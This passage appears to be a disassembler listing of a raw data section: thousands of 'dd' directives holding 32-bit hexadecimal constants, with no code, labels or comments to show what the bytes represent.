dd 0C29E97C6h, 5E937771h, 0B7906A0Bh, 0EF82BD3Dh, 820FCCF1h
dd 85EC597Ah, 0DF8023A0h, 5BC8344Ah, 7EA504Ch, 0C99030EFh
dd 14516DCEh, 0E41FCD95h, 245AB879h, 6103F31h, 0DE8A900Fh
dd 619BB7E7h, 0AD21DB80h, 9F4BF85Eh, 0B0C13FEDh, 5F9A33Ch
dd 0E9510330h, 0CC7F8105h, 0C6322B32h, 69C256F8h, 77DF6A00h
dd 0F2FD1FFh, 255BC68Fh, 9065B709h, 5523A31Ah, 0E114D837h
dd 0F6B500AEh, 85011F32h, 2557B4D9h, 0BD199846h, 95750891h
dd 0BAC956Bh, 0B310E822h, 2F1885F2h, 0C23A66AFh, 0FC0EAA59h
dd 93B9631h, 23095ADBh, 0CC405654h, 989D42h, 0A0228DF2h
dd 0E99C91D2h, 18A65ED2h, 3AC106F0h, 0CB3D437Fh, 7A0E1D5Ch
dd 993D781h, 0EA665EBBh, 40298C50h, 914AE921h, 7710B0CEh
dd 746B9351h, 0E0997D00h, 0F59ABE0Bh, 0C0397225h, 950DF144h
dd 6F009B6Ch, 0B73E5FB0h, 69BD23BAh, 0CA51A7FDh, 0C0084DADh
dd 0EBFBF09Ah, 0A81F7200h, 6025558Ah, 999D382Bh, 2969205Eh
dd 531661CDh, 95B38B0Fh, 0F08DEF0Bh, 0FA877FD4h, 4A990F50h
dd 31C6F2h, 3CEA843h, 71A0D7D9h, 25C4ED06h, 0D636906Ch
dd 0E0B4E640h, 90CB39EDh, 7492047h, 51830F28h, 40BABB04h
dd 0DB91EE3h, 0B07AB75Bh, 1227DAFBh, 0E09054Fh, 91B4B17Ah
dd 0FAF7DF82h, 4C91C5Ch, 8B440293h, 0D71EB8F9h, 5BDE0303h
dd 1DA9E46Ah, 0D1BA30B9h, 37084DE6h, 8210E932h, 0F6AA4FC6h
dd 0EEEC98E0h, 2B01AFECh, 0CB71D67Bh, 65F401D7h, 2F78B90Ah
dd 37D744CAh, 0E6E612C7h, 0B8302213h, 0B00D40A3h, 0FEC681BDh
dd 62D070E6h, 69B70142h, 9D2971E4h, 0A28B544Dh, 8EFD00D2h
dd 7841E7E6h, 1624977Bh, 0B5094102h, 400D23E1h, 3055FAE4h
dd 0D0F3574Eh, 205BD0Ch, 0DB58B729h, 9D0B1C8Ah, 0B6B42FD2h
dd 21392585h, 0D22D2BF9h, 21B98Fh, 40E0A835h, 523E2E0Ah
dd 0E1970171h, 5BB36C0Eh, 0CC13142Eh, 132E4510h, 0EC04C82Bh
dd 3B84169h, 8AB57E7Eh, 89D90A99h, 4C20A17Eh, 15CD00E4h
dd 0A058FC65h, 6300D328h, 24F2E71h, 4B098C67h, 485D9h
dd 0CB0CC33Dh, 0DE318060h, 61F1E614h, 924B20B8h, 0B3211505h
dd 7F706062h, 610B4029h, 9757E929h, 4BAB6995h, 6460CAA3h
dd 3ED140CCh, 3CF69195h, 8006BC14h, 0C9F1C2A2h, 59D1017Eh
dd 0EF46A8EBh, 1658F06Ch, 74682A0Bh, 0C1B302B1h, 835B0132h
dd 0FE3442A5h, 12211A40h, 266F8981h, 0EB12E803h, 11E601FAh
dd 13E4260Bh, 0BF78A2FBh, 8FA00395h, 0ED6E177Dh, 0F3814601h
dd 741E75AAh, 0B290E62Bh, 0F8A13118h, 0BB2CC41Bh, 0FD082951h
dd 0B95F040Eh, 0FA8ED5D4h
dd 11355204h, 0D3289314h, 0A6E15FE0h, 0B670F0A0h, 33520660h
dd 731EF99Dh, 612D3790h, 0FF5688FCh, 0A6C02B89h, 5811299Eh
dd 0CF4AF1D2h, 0F083460Ch, 3B0CE8F9h, 1DED46Eh, 9D095F72h
dd 0FB482ED9h, 0F6738105h, 88BFFB94h, 25328996h, 6BBEF644h
dd 0A79A340h, 139D74BDh, 0CD035A3Ch, 0FE66926Dh, 6E5FCCB3h
dd 0D3AC4AD8h, 0D6E58B4Ah, 1E27B56Bh, 820F8BB7h, 6DD2E092h
dd 4AB3E036h, 35E2CA7Ah, 226F33AFh, 89F93917h, 23FAE0A1h
dd 95EE710Fh, 13B88E49h, 0F5B0C1E7h, 587CA0A8h, 69208D98h
dd 60F89501h, 742B2041h, 0A094E610h, 4C3ABEABh, 272D3729h
dd 2AF15DA2h, 4D69175Ch, 48194617h, 3A1DC12Fh, 88BC2F5Dh
dd 0BA600004h, 66912D37h, 13F1419Dh, 0FA566102h, 35801E51h
dd 0B3D7C781h, 94955D7Fh, 0BCD574FBh, 0F466F47Dh, 5815016Ah
dd 22C0B6F8h, 0F24E564Fh, 60D59316h, 8380BEDBh, 0AE5A08Bh
dd 8D167698h, 3BFD0F59h, 0A0A0E696h, 2F44518h, 3B23E42Fh
dd 315C5786h, 0EE2E6B25h, 214CBDD1h, 14A99D10h, 50D7325Fh
dd 11101BD6h, 17CE5F25h, 4F30AD20h, 55F390h, 0D197BF95h
dd 1481B0h, 0B1CC1692h, 855F1D4Ah, 90A7CA00h, 397B4BBFh
dd 69E6D435h, 0A4110h, 0BBC60968h, 9452502Ah, 0D78240E8h
dd 8E00B2A3h, 0BF310FADh, 8D557h, 81585A41h, 0C5F62434h
dd 372AA42Dh, 517E000Dh, 0B88FB2Fh, 2073A624h, 0B74FD426h
dd 107BC8h, 1CAABD99h, 0FA85CFA9h, 0BC3D9516h, 77D5E482h
dd 7380453Dh, 5DBA25A2h, 3C3058E8h, 4A317110h, 9B3B8AC9h
dd 87A2D777h, 94E2E9C4h, 0B83EE908h, 145003Fh, 439BCB05h
dd 0BB12666Dh, 0A2E389F7h, 0C7DA8A0Eh, 4FBF1808h, 342B7EC9h
dd 0DF9BAE56h, 4EBA9C80h, 0D13C9CEh, 8BF04036h, 9C0E4B71h
dd 954A317Ah, 578939D2h, 0F1E0D6EDh, 22BD2E2h, 1050777Ch
dd 0E8F0EE48h, 0A0A02348h, 4BE1BD0Bh, 5B58892Dh, 0F813C04Dh
dd 0B0C5823Fh, 0EE4C5C9Ch, 0B0BBE309h, 0C280920Eh, 5F42DE5Eh
dd 29690095h, 9715B585h, 4CFE763Ah, 9930BDCh, 218267D6h
dd 467E2BE5h, 0C8F225h, 0CF54FB68h, 0EFBF66D1h, 0F3C7654Bh
dd 2E4FAF21h, 0C94ADA2Ch, 0DE9B2E4Ah, 9FF579C0h, 0B5168957h
dd 55B805A5h, 408B8889h, 2C079559h, 802F8286h, 735C8CACh
dd 8F040552h, 0BC5B0511h, 9375C060h, 7E44906h, 25F7E0D5h
dd 6C9830FDh, 5B39DF95h, 0CE89341Eh, 0E5B8EBE9h, 0AA0AEE7Dh
dd 9BC0F468h, 241FA908h, 6204112Eh, 6CCFB9C4h, 0F19B8A1Fh
dd 0B9D10F25h, 0EDEE7B8Fh, 116D8F80h, 0B000C9DBh, 59B3CA29h
dd 0BF6117B5h, 4609D3B7h, 0CD6B40F9h, 0DF56822Ah, 0D120105Bh
dd 0E781031Dh, 0C49AD939h, 1AA238B8h, 2F4599C6h, 0E177C13Bh
dd 67AA041Bh, 89BDC564h, 0E13A2BF5h, 0BFD040E4h, 320BC985h
dd 4BDCABBCh, 25E38A65h, 0F6EF7EC8h, 7609F302h, 960AEE8Ch
dd 5C9A69CCh, 890C3777h, 0AE85D34Eh, 90FCF28Dh, 0F80527E2h
dd 0FF9A9540h, 744B5056h, 0AD5EDE04h, 0F04A6BA6h, 82E4C07Ch
dd 25486C9Dh, 37C170B9h, 93A52F95h, 0BCFE352Bh, 221548E7h
dd 1F953911h, 0C4810070h, 9FBF4DB9h, 2A73726Ch, 86F04F14h
dd 485452C9h, 0CEE55BB6h, 8237533Ah, 88941797h, 208DF0FFh
dd 1CF93B97h, 2B7BDBBCh, 0EB16308Dh, 1897AA40h, 9702B7C1h
dd 5EBB9D18h, 723D8C12h, 9A4F49E7h, 0FFC78007h, 20EF1C1h
dd 8772CF81h, 4F5C5484h, 17D13D29h, 0CA127518h, 68E126B7h
dd 1B540847h, 698D4B1Eh, 6F5963A9h, 5A3989A5h, 194F953Dh
dd 9D8E6240h, 0FDB42E4Ch, 7EBF1A9Ah, 6A5F767Ah, 0D7F0B7F6h
dd 7D1CF66Ah, 0D0C59EB8h, 0EC056509h, 0F8292935h, 0AF81206Ah
dd 0E003F926h, 0F3E7F8ABh, 0AED9A0DDh, 0BD9F3856h, 0C2D3190Fh
dd 2C9D8DD7h, 8D7180E7h, 540CDD1Fh, 1560B96h, 0A7C6B309h
dd 0F5CDBB50h, 7696E990h, 6887F099h, 0EF2022Bh, 0D8A596BFh
dd 0F669947Ch, 0B70713A6h, 8A9D4AEEh, 37A8032Dh, 227550C5h
dd 963956A4h, 80662526h, 0BD4E3190h, 60B23F12h, 40F44F8Bh
dd 2D6328F6h, 0F1C0EB9h, 0BF61C1B7h, 7A5096F8h, 0F03CCFC8h
dd 23890114h, 6B9EFE0Eh, 0FB207F01h, 0F120F9h, 7B3A095Fh
dd 7C9B8627h, 311396F0h, 8D2D1995h, 1EF1E889h, 13A55F73h
dd 763FC028h, 8848002Ah, 0A956E02Eh, 23AA1DB1h, 80A1B77Fh
dd 5416AAEFh, 0DA127CE0h, 0C60547F2h, 47041CCDh, 60AA1621h
dd 18E629C7h, 0AC9C33Dh, 9695CDFCh, 715BF909h, 0FE624435h
dd 0C90EE77Bh, 948B501h, 125264A5h, 4B29BD31h, 0E27BC63Ch
dd 3B34D0h, 750115C1h, 8960AE66h, 2E63857Dh, 256D9D73h
dd 34C5617Fh, 0D22FEFA4h, 97C1E83Ch, 6D7D2E0Fh, 0FA00EB37h
dd 8E6E26CAh, 199D1703h, 0D65CBD2Ah, 0A7E34EE6h, 9A2542E8h
dd 0DD852918h, 4A0F50E1h, 0B4333181h, 7668285Eh, 0E4796105h
dd 49A66A2Dh, 85F4CBF0h, 0BA1B117h, 256C3515h, 20637B8Bh
dd 16A128B3h, 4A60EE75h, 0FE715214h, 0C5599370h, 0FD1F016Dh
dd 66543B39h, 90F2F8BBh, 5003F6B3h, 0A65FD98Bh, 0AFB32020h
dd 0B38C854Ah, 377E26DBh, 0BD611367h, 7DDB5B6Eh, 0D0529ECDh
dd 6A5A38D0h, 1AF094B6h, 212A887h, 5DE39D7Ah, 598D0909h
dd 3A5513C2h, 17357524h, 8BAD1603h, 0ED5EF81Ah, 926FE9Bh
dd 7B2107BFh, 0F4D12A87h, 4F0781F8h, 84292EE5h, 0ADDF2EEEh
dd 29025990h, 2BE9B530h, 0B526B350h, 2AFA0991h, 0B736D49Dh
dd 7F84BB0h, 2B7AE800h, 5121AD64h, 0A2BB0160h, 132E6C8h
dd 619348BDh, 0EACE912h, 0A7C930E2h, 0DC433008h, 94970C00h
dd 8EABBE2Ah, 0EB752484h, 52991261h, 0B855ED22h, 0F3CF25E7h
dd 0A973DC6h, 84135B0Bh, 0FE929FF2h, 0E304B835h, 0BF400580h
dd 7989BC7h, 0E16E905Fh, 758E8A00h, 0C1B25C3Dh, 0CF812E07h
dd 24242B35h, 0A75FF9ACh, 67A0E0CFh, 2220907Ah, 0CE961C8Ch
dd 70260440h, 61DA1CE5h, 0CD5E8069h, 16C959CFh, 0B06AE92Eh
dd 12119108h, 0A0EE65Bh, 0C43D9D0Bh, 0DD44A5h, 4BCA51F3h
dd 78FC85C1h, 0F547EC13h, 7EB33A02h, 69215C9Bh, 6ADFF883h
dd 0C94F68D6h, 12119121h, 3D0F5991h, 98330075h, 0E7EE73B8h
dd 776302D9h, 3AE1C61h, 0ECC5E056h, 41459ECCh, 4F527C2Dh
dd 0D1817E90h, 80A70522h, 94B06102h, 0FFC0C72Eh, 0B770E6E0h
dd 7104E433h, 0A299D31h, 0BC6DCCABh, 0BD5E81A4h, 0B6196EE2h
dd 2B9D46C8h, 0A258ABA7h, 4C1C0D10h, 0D3810157h, 1B67A115h
dd 60D40F2Bh, 62A5025Fh, 0E24007FCh, 0D29561D1h, 719D104Fh
dd 642B370Ch, 2DA633E7h, 0D88A2797h, 0CB034D92h, 0F5480531h
dd 0B7F01794h, 0A959F1E0h, 0EF6161BCh, 810A943Ah, 2B9B93DAh
dd 8F5C80Dh, 2EA99E11h, 22C2A904h, 8D92C411h, 0A4D9EE23h
dd 2181168Bh, 18EC0276h, 0CC6AE145h, 1A448491h, 0A1A5F4FCh
dd 8E8BFE16h, 0D48891D5h, 4A142851h, 0BD9CD8DEh, 5A13F33Fh
dd 6F8060DBh, 0B8CCEFA6h, 3C0C3771h, 68F5AC78h, 0DB6A5EFEh
dd 3C47C06Ch, 14B68668h, 0BFF47D9Ah, 5220E70Ch, 5A25C70Ah
dd 0C113F404h, 12AE19Dh, 0C83FBCB9h, 8895D8F2h, 3ED6449Fh
dd 720FAE57h, 0AD2A5BD2h, 27F508E6h, 1109FC12h, 0B81E2575h
dd 877EABh, 0EE180B0Ah, 17CC87BEh, 531E5F50h, 2908BE25h
dd 0D22B091Bh, 97DC7C56h, 75D61929h, 0ACEA4D25h, 501D698h
dd 0A06C15FAh, 0FA38FE8Ah, 4433C112h, 0E7880D37h, 7942B083h
dd 0F1DF01CBh, 1A58265Ch
dd 0D6143CF9h, 954AA9A3h, 0C17ABFF3h, 76611101h, 2B6AEFB4h
dd 3D51F62Bh, 0BF30947Eh, 4980F9DBh, 3B8546AEh, 294D1002h
dd 911E18Dh, 3E44E451h, 0FD923754h, 0B17BCD1h, 0D3AA5AEDh
dd 0AF8A9300h, 9A953F5Ch, 1E0CE0B4h, 0E1FF26F4h, 0EDD0922h
dd 0CDC47359h, 8866A252h, 30EDAFDBh, 1D92E5C0h, 1F5F0497h
dd 0F24F29FFh, 39F40047h, 7B08446Ch, 327000DDh, 0DBD3405Fh
dd 0D1057753h, 51467290h, 98E7C8Ch, 8C3E12D5h, 0A2290D7h
dd 0F45A122Fh, 84B1B24Ah, 9EBA0447h, 95168069h, 4361E41h
dd 4F8B2053h, 1CC7EF99h, 6F6017D8h, 80840143h, 23507A29h
dd 5B21227Eh, 4225AD56h, 80E3B789h, 0B5C0CFBEh, 660453B8h
dd 5B3E8CBFh, 4522AFADh, 3D27CC98h, 2F5309h, 54889E5Dh
dd 1A0197E2h, 0FD492175h, 757F7AB3h, 0A7FDA692h, 29387010h
dd 60B13802h, 313BD4h, 2F7172BDh, 0B1F4579Bh, 1512E207h
dd 59196154h, 0CACDA7EAh, 505F82C0h, 59E102C8h, 0C53FB1DBh
dd 900DF84Ch, 350A870Fh, 306A8DD9h, 50440CC7h, 851BBF3Eh
dd 29907614h, 4F349E12h, 0FD0095E2h, 9EB293A1h, 10083F7h
dd 0C60D59DBh, 264D6C68h, 20730F4Ch, 0CD799717h, 0B8BB7BEh
dd 1F167009h, 25534E93h, 84C08A4Dh, 5D5691Dh, 8C8F4953h
dd 4BDFF3B1h, 1CA21488h, 89A5DD8Eh, 6C56488Ah, 1447DAC5h
dd 4FE0521Ah, 0F84AD773h, 0E9024B11h, 4C5E84Ah, 4396E534h
dd 0D4C5ACF9h, 2D19104Bh, 7BC9954Ah, 5FCB00DEh, 0D1E88423h
dd 0CE7B1783h, 68265A2Ch, 0E19D00C4h, 162BF8D0h, 2979CF5h
dd 659CB299h, 0B04454C0h, 4EAE4EDAh, 94A9E83Dh, 0A2DC1215h
dd 0A64AE8B3h, 0FA25E0CEh, 0E8183A35h, 0EE720888h, 2A3BEF01h
dd 883F0689h, 0D503FD7Fh, 0BD1B2B0Fh, 188202A4h, 5F309024h
dd 6F94D84Ch, 0C1FC3C40h, 0A32D38D0h, 0BCDD8F00h, 7C52FB89h
dd 0BF312C01h, 61DD658h, 446AE41h, 17DF3470h, 1BB5196h
dd 5B415994h, 2CC0E650h, 28FEE52Ah, 5BE29295h, 0C7227841h
dd 4A3AC948h, 508171A2h, 171B8E0Fh, 75F35275h, 0F44086Bh
dd 0CE97F601h, 3EC430D0h, 0CC5FF9D4h, 60778B26h, 543810BFh
dd 0D35500F0h, 3BA8A69Eh, 7452C315h, 615F122Eh, 0DDBFCC00h
dd 0A360D3D7h, 0B557A863h, 6158398Ah, 0E02BB64Eh, 264F0DDh
dd 89F2BC10h, 27D6101h, 55094134h, 0B2D694BAh, 916F9840h
dd 81720017h, 6C8B4ED3h, 93B55B27h, 6EAEACD7h, 5160986h
dd 62C10B33h, 0EB175EA9h, 635005FBh, 9DA1A0F1h, 3D2BFBA9h
dd 956E6ADCh, 0C0682600h, 3B0C8314h, 56D88A24h, 2BB2DE12h
dd 6A36468Dh, 9BC21CDBh, 0F8D46373h, 9A2A1508h, 0B0D42537h
dd 8E824BDCh, 5A0FB823h, 17BCD88Fh, 25555482h, 25380E65h
dd 49EBD05h, 8012F07Bh, 0A51A67CFh, 89D61402h, 57201DB5h
dd 0C820C31Ch, 8DBB3C04h, 86B2BF7Dh, 96805F12h, 1185FDE9h
dd 0BBFF6E95h, 0C47D50F6h, 7094B504h, 9EAB2E3h, 99594381h
dd 95BD0B82h, 0E9F25627h, 0FBC0CF6Dh, 2A8262Ch, 2D285ABBh
dd 0AB423CEBh, 968371FCh, 0D8E2F0BFh, 0E556501Ch, 8ACB146Ah
dd 6367312Ch, 8D88B791h, 857FA515h, 22246200h, 33F04211h
dd 0B37809C9h, 21702B87h, 97F6964Eh, 39E04BF3h, 9A01C61Ch
dd 89732E6Dh, 5D3EE59Dh, 13F18BE1h, 387ACEFBh, 5ADDCC6h
dd 793A17E9h, 0DF63F813h, 0C43210E5h, 4E110076h, 0E2CD433Bh
dd 64090AD6h, 715FE0A2h, 0A5E2A180h, 42803DB7h, 5E48E020h
dd 810F1216h, 2570FE18h, 0E3D3A8h, 2787EFA7h, 0EE0C6812h
dd 0FCBB8A00h, 9223ED56h, 0B51A977Bh, 720B7F5h, 670C40D2h
dd 0D471D9DBh, 5695098Eh, 0D5AD54C4h, 73C46BD2h, 3FFF8500h
dd 0B380D803h, 0D308979Eh, 4154A778h, 25A4AA40h, 83C7008Ch
dd 0B3DDE4D1h, 72B8305Ah, 2CC8B95h, 571BAF63h, 8476333Ah
dd 117239D4h, 54E1DD00h, 0FB40F795h, 0CABD8975h, 25EC5621h
dd 3860D74Fh, 1080620h, 0FB8B051Dh, 6F31BD23h, 5C1ACC89h
dd 0BA5B0BC0h, 2F0549B3h, 160F0AA3h, 0B74AB1B8h, 0DED105Ch
dd 3D8D89A0h, 5E5085C9h, 88B44041h, 3DB0E01Ah, 0A5B0F500h
dd 853B38F2h, 2760989Eh, 1A4A08D8h, 0B100F4D9h, 6B4E41E5h
dd 9D030991h, 0DB1C16C1h, 0CC359Fh, 0D300FD4h, 0E91443B7h
dd 3AE85Dh, 0E4B4753Fh, 4AB32C96h, 963FE2FCh, 0A0A0FAB6h
dd 2B0962FAh, 0D109359Dh, 0DC560974h, 3E44E271h, 7FD32458h
dd 7950A527h, 7A2F05ADh, 0A100BF38h, 0F48AF105h, 7F760ABAh
dd 1CA6CF29h, 0DB2FA1E7h, 0B1097AAFh, 0D8F0A7FBh, 0ACE5008Ah
dd 9FD4193Bh, 6028CB2Bh, 130035E8h, 0D10D52D2h, 99FB4Eh
dd 0B4E1BDC6h, 115BB830h, 2427391Dh, 465127h, 0A01D4593h
dd 0C004CE87h, 61F85F5Eh, 10D21ABCh, 0E84B30BFh, 0CEF53DB9h
dd 0C34C3960h, 8C6F049Dh, 0B2613691h, 5E1D0068h, 28A48F51h
dd 0C4A15F47h, 0F7855323h, 15CB0C1h, 3FAF02FEh, 81BC95F3h
dd 5F9D625Dh, 75561609h, 0D65AF6E9h, 69B08916h, 78B56C09h
dd 463C9740h, 0CC58739Bh, 5A191F09h, 0B96B523Eh, 0EDB6D698h
dd 946ECCA0h, 101E5313h, 0F2001FA2h, 0CA50F18Bh, 9047184h
dd 0C6FBC934h, 921D00A4h, 461C9794h, 13919D11h, 0FAF29A12h
dd 0BC00147Ah, 833D92C5h, 0E004FB87h, 0C18B865Dh, 0CB109FEh
dd 2B8E4B7Bh, 722D2BBDh, 0E9C790F6h, 2F18F224h, 5B376AF2h
dd 0ADAB3381h, 0C9C8D68Eh, 898016CDh, 852EB585h, 1659D6Ah
dd 600FC8AAh, 16DDA6C4h, 0AD9D3301h, 1361030Ah, 0FD7168B4h
dd 2691E8E0h, 8F3F9FAh, 0C2251DFDh, 0DE2BF651h, 0BD0B4E0Bh
dd 0B32522D1h, 952BD566h, 6100C73Dh, 8FD8085Bh, 91FEC9A5h
dd 23FBFD62h, 274F7D0h, 14BAA2C6h, 9B75D0FDh, 0BB520295h
dd 3DB34EB0h, 4FAF5B5Eh, 4A924131h, 52B36AB0h, 0B9F72403h
dd 9AF9134Eh, 3505D038h, 77FE1916h, 1CAAABACh, 0B9C148CBh
dd 1A7B6F82h, 0ED530F6Eh, 0CD560497h, 13B8122Eh, 131A8711h
dd 32A8F860h, 0C47CAA80h, 0CF00B24Ah, 9663C294h, 2795FE1h
dd 0EBF02A8Eh, 0A55E6191h, 0BB147551h, 2F1B3AC6h, 0D97B026Ah
dd 2262370h, 0E3508015h, 0BF4082D2h, 0C461F5D7h, 9139CB0Ah
dd 2C622FBh, 3604B724h, 64CFCDA5h, 4D0B6017h, 23D85A09h
dd 0FEC8BE05h, 1C316643h, 0E95FE485h, 0FB1C57CAh, 5ACB7248h
dd 0AAD2FEDBh, 0B4880912h, 24E600CDh, 444E1026h, 8D3B6692h
dd 659A07CEh, 0D143D28Bh, 0FFE8A4BDh, 0D3FCADD2h, 5EA8C0A9h
dd 30001E90h, 0BB515046h, 4E7CDCA0h, 7B8EE543h, 0EE2E326Eh
dd 71508FDh, 0BD01893Ch, 4B6750D5h, 59C9CA5Bh, 5EEAAD77h
dd 8EAE397Ch, 0BC504506h, 971E22A4h, 0F960B530h, 61D58A16h
dd 70D0DEADh, 0F5125AFCh, 0E06FFF6Ah, 0FD411200h, 7D23A6FBh
dd 0C28036B8h, 5CB8C0F2h, 26E6ABFh, 0D53169A1h, 1D44C094h
dd 0E0DD4A8Ah, 0D99F86A9h, 505A474Bh, 6A3E48C0h, 371F2700h
dd 0E62FB814h, 452BE70h, 0B871E41Ah, 0CB924B0Bh, 0E11A2BEFh
dd 4309E1D9h, 4725ED2h, 0BC5F4DD5h, 239584D7h, 5D10173h
dd 39840921h, 0BCF89960h, 9D2B0BD7h, 70732961h, 0DE8A3DD2h
dd 0EF51C8A5h, 43ECF400h, 3BE8058Ch, 8B944E88h, 6912F3D1h
dd 6B64AF0Eh, 2E084F82h, 0D0282C6h, 7ED88B39h, 0DC010527h
dd 0B151E47Ch, 5B05C2EFh, 9DAB46ABh, 12DC6135h, 5654BF01h
dd 482F22D5h, 0AAA413E3h, 56005511h, 4C8A24BBh, 1F985B33h
dd 74045D25h, 11D7E89Eh
dd 0E7800903h, 11E879BCh, 62D04030h, 0A5507C7Dh, 3115FE1Ch
dd 6DAA5185h, 986ED2B8h, 0E6003D1Ch, 0D64AB054h, 0FC4C91E2h
dd 8ABF0989h, 0FE7B5FFAh, 13FEA805h, 3ABCB6B9h, 60D05E0Bh
dd 89D02109h, 0BA68059Dh, 0D0E65F25h, 0A8B86000h, 61747EDFh
dd 9622EB9h, 0F1C944FEh, 0D4132EA1h, 1676EABh, 36F75BA6h
dd 5AE3FC4Ah, 0ADD3C52Eh, 693D8042h, 4B17D535h, 770DECFCh
dd 0D2B2F44h, 0A99509C0h, 6FD2E113h, 0F136A820h, 0E0310E15h
dd 23879673h, 337BA076h, 1D24A9EAh, 5D04DF7Ch, 0AEBC5FF3h
dd 0D8D780F0h, 0B17853B3h, 80A95FDBh, 1369EB90h, 0DA40D19Ch
dd 7A59C6FDh, 82F0042h, 0C3C8A27Ch, 0C49FD139h, 0F7800A8h
dd 4D8AB014h, 982C8612h, 88166A95h, 0D3C090E9h, 8F775196h
dd 252DEA00h, 3A3E187Bh, 0F56602CAh, 5B4EE076h, 0DBAF00D3h
dd 0E10A5028h, 1CA90B12h, 66D09A01h, 342F1E90h, 0BCC0B8E1h
dd 0DE1D4B05h, 791680F9h, 5C117847h, 127538B8h, 0F21C2E4Fh
dd 5D6789BFh, 56824DBDh, 0D2F98B46h, 844DBD1Eh, 404DA0E1h
dd 0ECA8256Fh, 7306255Fh, 17809795h, 0FF6E819Eh, 80A538E1h
dd 2A1CBD03h, 57332556h, 4B11E8E5h, 6980155Ch, 605027B5h
dd 0E5A7891Dh, 9E9DC080h, 124ABC48h, 0F2BF6CBAh, 0D14289FFh
dd 0AE70490Ch, 80F5FF61h, 0F16BCFEFh, 0BCBCFFD4h, 806E4F63h
dd 75A0803h, 44A887BAh, 0B1628FA4h, 0F6B585B0h, 0BACA4052h
dd 72C46136h, 99BCAF67h, 73F16E5Eh, 5F51CE12h, 4A0C92F4h
dd 0A4CAE701h, 0B1225987h, 0B7385515h, 0EE09F381h, 7B137969h
dd 1ECDAD6Bh, 1A31CF40h, 76BE094Fh, 2598E75Bh, 3E0046C9h
dd 857FC258h, 0BB2252Ah, 9A837A10h, 5B94582h, 51505F01h
dd 0BF3B167Ch, 5C707FA5h, 6F489A08h, 30E62F33h, 746B597h
dd 0A0EAC0DEh, 4BF9BFB7h, 0C1087E27h, 316E0684h, 7F1C0h
dd 24D12868h, 25B15369h, 0D2D784C0h, 0BF047679h, 10A576Dh
dd 9BD64CACh, 0AEC880DDh, 1BD1157h, 4BC78192h, 2F3D3B99h
dd 57FB8067h, 24E9E822h, 7AB742E8h, 9D59B097h, 881EEB91h
dd 0B42DC019h, 800245DCh, 0D9BD2320h, 43165718h, 3E1C359Fh
dd 0D375DC0Ch, 0F6E0DD6h, 922DCE57h, 81C044B9h, 1C4BF7D3h
dd 8C0F4712h, 0FD4F01B3h, 4D892FEEh, 0F709E3FAh, 0C42692F1h
dd 975A3BF2h, 89FD45C4h, 0C95AFC4Bh, 0B3A03061h, 4B8997C4h
dd 5DC8CD4h, 0ACDC0DBFh, 2BEE860h, 9D2BFB4Bh, 0AD057485h
dd 0F29D650h, 0AC3B9F8Fh, 9B60BF52h, 2D1D925h, 0EABFF2E2h
dd 9A4156FDh, 33162F53h, 6EAEFA84h, 7F2700ADh, 34632850h
dd 2010B72Bh, 0B3011B91h, 0EEDAD0D8h, 0C7C0ABE8h, 13350977h
dd 0BE7973B0h, 63E590A7h, 0DE580F9Ah, 0BAA337B4h, 68C84CBBh
dd 0A027FC78h, 0A44CAh, 0B7D1B450h, 0BCAFA577h, 0C602637Eh
dd 46FD5ADEh, 0F89075AAh, 383E14B7h, 0E0DA807Dh, 0FC9EE942h
dd 52840EABh, 0B8525B5Fh, 78704ADh, 1881357Eh, 742F0FD9h
dd 0E06FB666h, 9CB529ACh, 0CD509444h, 0C0DF8B14h, 5A7D844Bh
dd 877B82C1h, 0BE5AC70h, 143DBD33h, 0CA7D2B6Ah, 0C83A4D15h
dd 296E6260h, 51EB841h, 0ADC96D1Dh, 6B8B7B13h, 17D40CDCh
dd 0F8AA5E34h, 0C4512EBCh, 9CE2FE12h, 4135238Dh, 6F37E978h
dd 28C9BB9Eh, 24D76679h, 5F90BD5h, 3B80B93Dh, 3C35668Ah
dd 162F27F6h, 465D589Ah, 9726B037h, 14208E14h, 0CF575004h
dd 8C3A14CFh, 0CB7CE5Fh, 0B52F8929h, 8B6A0239h, 5984FBD9h
dd 0B9F41917h, 8B7C36EDh, 3A975B74h, 5CB55F86h, 5C6C9100h
dd 0EC12E653h, 2D9D1809h, 45BF5033h, 49922512h, 0BE47ABE2h
dd 0AE3DBFA0h, 0A2ABB20Ah, 0DF01896Dh, 2825BD09h, 81B2702Fh
dd 9EF297E7h, 0B5EC5E62h, 0A81AD71Eh, 315EAF57h, 75697D01h
dd 2A650D3Eh, 26618D9Ch, 0C0AD1004h, 0B439EC4Ah, 6E35C801h
dd 611CE263h, 0BC22342Fh, 8401CF3Ch, 2EBD3071h, 0EFB70FC4h
dd 0F2B51512h, 0F039F62Eh, 97DDCB80h, 7DDBF01Ah, 64A28173h
dd 7632CBF8h, 99244867h, 0ABBD4135h, 1823326Bh, 0FE8E0501h
dd 0F860551Eh, 0BBABB1D3h, 0AD198280h, 0C37E2B44h, 611AD712h
dd 0DB2B23F1h, 5637895Ch, 0F65A259Dh, 28DDFB4Bh, 7A06676h
dd 0E12FA83Ch, 0E56802B9h, 6E225EBDh, 97D7A8D2h, 7CE86CADh
dd 0A5E1ED3Eh, 596873F9h, 0B231818h, 0E4105CFBh, 54D32798h
dd 3FB00F00h, 9A43D28Ah, 86C505B8h, 0E81B6449h, 7A9171C7h
dd 0A800A647h, 0C5C62D85h, 85D827E9h, 0BA84AEC1h, 7C49C0D7h
dd 5F61AFF0h, 166F2F1Dh, 92091523h, 0C5A4023Bh, 0C73A5731h
dd 0F9C15287h, 3371C75Ch, 0B0B6B72Bh, 0C0E6E1h, 965DA4A2h
dd 0A8EBF66h, 8FBB5038h, 7672C93Dh, 6D9EA05h, 81607560h
dd 52AA05EFh, 0AE617540h, 819A0C74h, 66CC3DC0h, 1A139957h
dd 33083CA7h, 0DC609D0Eh, 8D512582h, 2C16564Bh, 1A46D4BDh
dd 0A099BD00h, 7A4D62E3h, 4591035Ch, 9E522BB9h, 0BF37AFEh
dd 0DE9D2BC4h, 0EEA7A08Fh, 0A11C971Eh, 8D7E5F45h, 85742BB4h
dd 0F9A893E9h, 9F0A9305h, 12EF91C1h, 0B1C852FEh, 0F7F62A7Bh
dd 9F199DE1h, 22A51D4Ch, 5C296525h, 6ED17A9Eh, 9EDC7C2Dh
dd 0B8B19202h, 0E5C54EE8h, 25BFBDB0h, 0C973C426h, 40336DADh
dd 0FBC05537h, 0E56D1B05h, 0F6F86275h, 0C126BC5Bh, 3F9B1780h
dd 82D5F5F4h, 90244D6h, 0F56A6B39h, 0FC9A0719h, 0BB01D405h
dd 67ACB1D6h, 51D49506h, 165F3558h, 6883AB2Eh, 8AFD0B2Dh
